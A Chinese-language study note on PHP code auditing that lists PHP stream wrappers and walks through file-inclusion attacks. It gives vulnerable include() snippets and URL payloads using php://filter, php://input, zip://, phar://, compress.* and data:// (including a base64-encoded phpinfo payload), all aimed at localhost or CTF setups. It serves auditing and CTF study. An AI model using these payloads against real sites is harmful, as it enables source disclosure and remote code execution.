本文记录 PHP 代码审计的学习过程,教程为暗月 2015 版的 PHP 代码审计课程
1. 简介
-
php 伪协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
2. 测试
-
php 任意文件包含
$f = $_GET['f']; include_once('sys/config.php'); include($f);
利用zip伪协议读取压缩包中的文件
/about.php?file=phar://./images/1499394959.jpg/1.php
利用phar伪协议读取压缩包中的文件
/about.php?file=zip://./images/1499394959.jpg%231.php
-
读取页面源代码
/about.php?file=php://filter/convert.base64-encode/resource=index.php
以base64加密的形式读取页面源代码,然后在再对代码进行base64解密就可以得到源代码
当php配置allow_url_include和allow_url_fopen都为On的时候,可以对文件进行远程包含
例如:about.php?file=http://web/1.php
当allow_url_include为On,而allow_url_fopen为Off的时候,不可以直接远程包含文件,但是可以使用php://input、 php://stdin、 php://memory 和 php://temp等伪协议
例如about.php?file=php://input post传输数据<?php phpinfo(); ?>
3. php伪协议实现命令执行的七种姿势
-
简介
-
常见的文件包含函数
1. include- require
- include_once
- require_once
- highlight_file
- show_source
- readfile
- file_get_contents
- fopen
- file
-
封装协议
- file://
- php://filter
- php://input
- zip://
- compress.bzip2://
- compress.zlib://
- data://
-
-
环境准备
-
在 php.ini 文件中
allow_url_fopen :on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。
allow_url_include:off 默认关闭,该选项为on便是允许 包含URL 对象文件等。
-
为了能够尽可能的列举所有情况本次测试使用的PHP版本为>=5.2 具体为5.2,5.3,5.5, 7.0;PHP版本<=5.2 可以使用%00进行截断。
-
-
什么情况下需要用到 %00 截断
-
不需要截断情况
<?php include($_GET['file']) ?>
浏览器执行 http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt
-
需要截断的情况
在php版本<=5.2中进行测试是可以使用%00截断的
<?php include($_GET['file'].'.php') ?>
浏览器执行 http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt
-
-
什么情况下需要开启 allow_url_fopen 与 allow_url_include 功能
-
file://
用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
allow_url_fopen :off/on allow_url_include:off/on
使用方法:
file:// [文件的绝对路径和文件名]
浏览器执行 http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt
其中,phpcode.txt 中为 <?php phpinfo();?> -
php://协议
访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include
-
php://filter
php://filter :是一种元封装器, 设计用于数据流打开时的筛选过滤应用。读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了,在双off的情况下也可以正常使用
allow_url_fopen :off/on allow_url_include:off/on
使用方法:
php://filter/resource=<待过滤的数据流>
这个参数必须位于 php://filter 的末尾,并且指向需要过滤筛选的数据流。浏览器执行 http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php
其中 ,POST 数据为:<?php include($_GET['file'])?> -
php://input
php://input :可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
allow_url_fopen :off/on allow_url_include:on
浏览器执行 http://127.0.0.1/cmd.php?file=php://input
其中,POST 数据为 <?php phpinfo()?>
-
-
zip://, bzip2://, zlib://协议
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。
zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;allow_url_fopen :off/on allow_url_include:off/on
zip://, bzip2://, zlib:// 官方参考文档
-
zip:// 使用方法
zip://archive.zip#dir/file.txt
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]浏览器执行 http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt
先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。
由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径
-
bzip2:// 使用方法
compress.bzip2://file.bz2
浏览器执行 http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
或者 浏览器执行 http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg
-
zlib:// 使用方法
compress.zlib://file.gz
浏览器执行 http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
或者 浏览器执行 http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg
-
-
data:// 协议
经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件
allow_url_fopen :on allow_url_include:on
data:// 官方参考文档,其中,官方文档上allow_url_fopen应为yes
浏览器执行 http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>
或者 浏览器执行 http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
或者 浏览器执行 http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>
或者 浏览器执行 http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
-
总结
-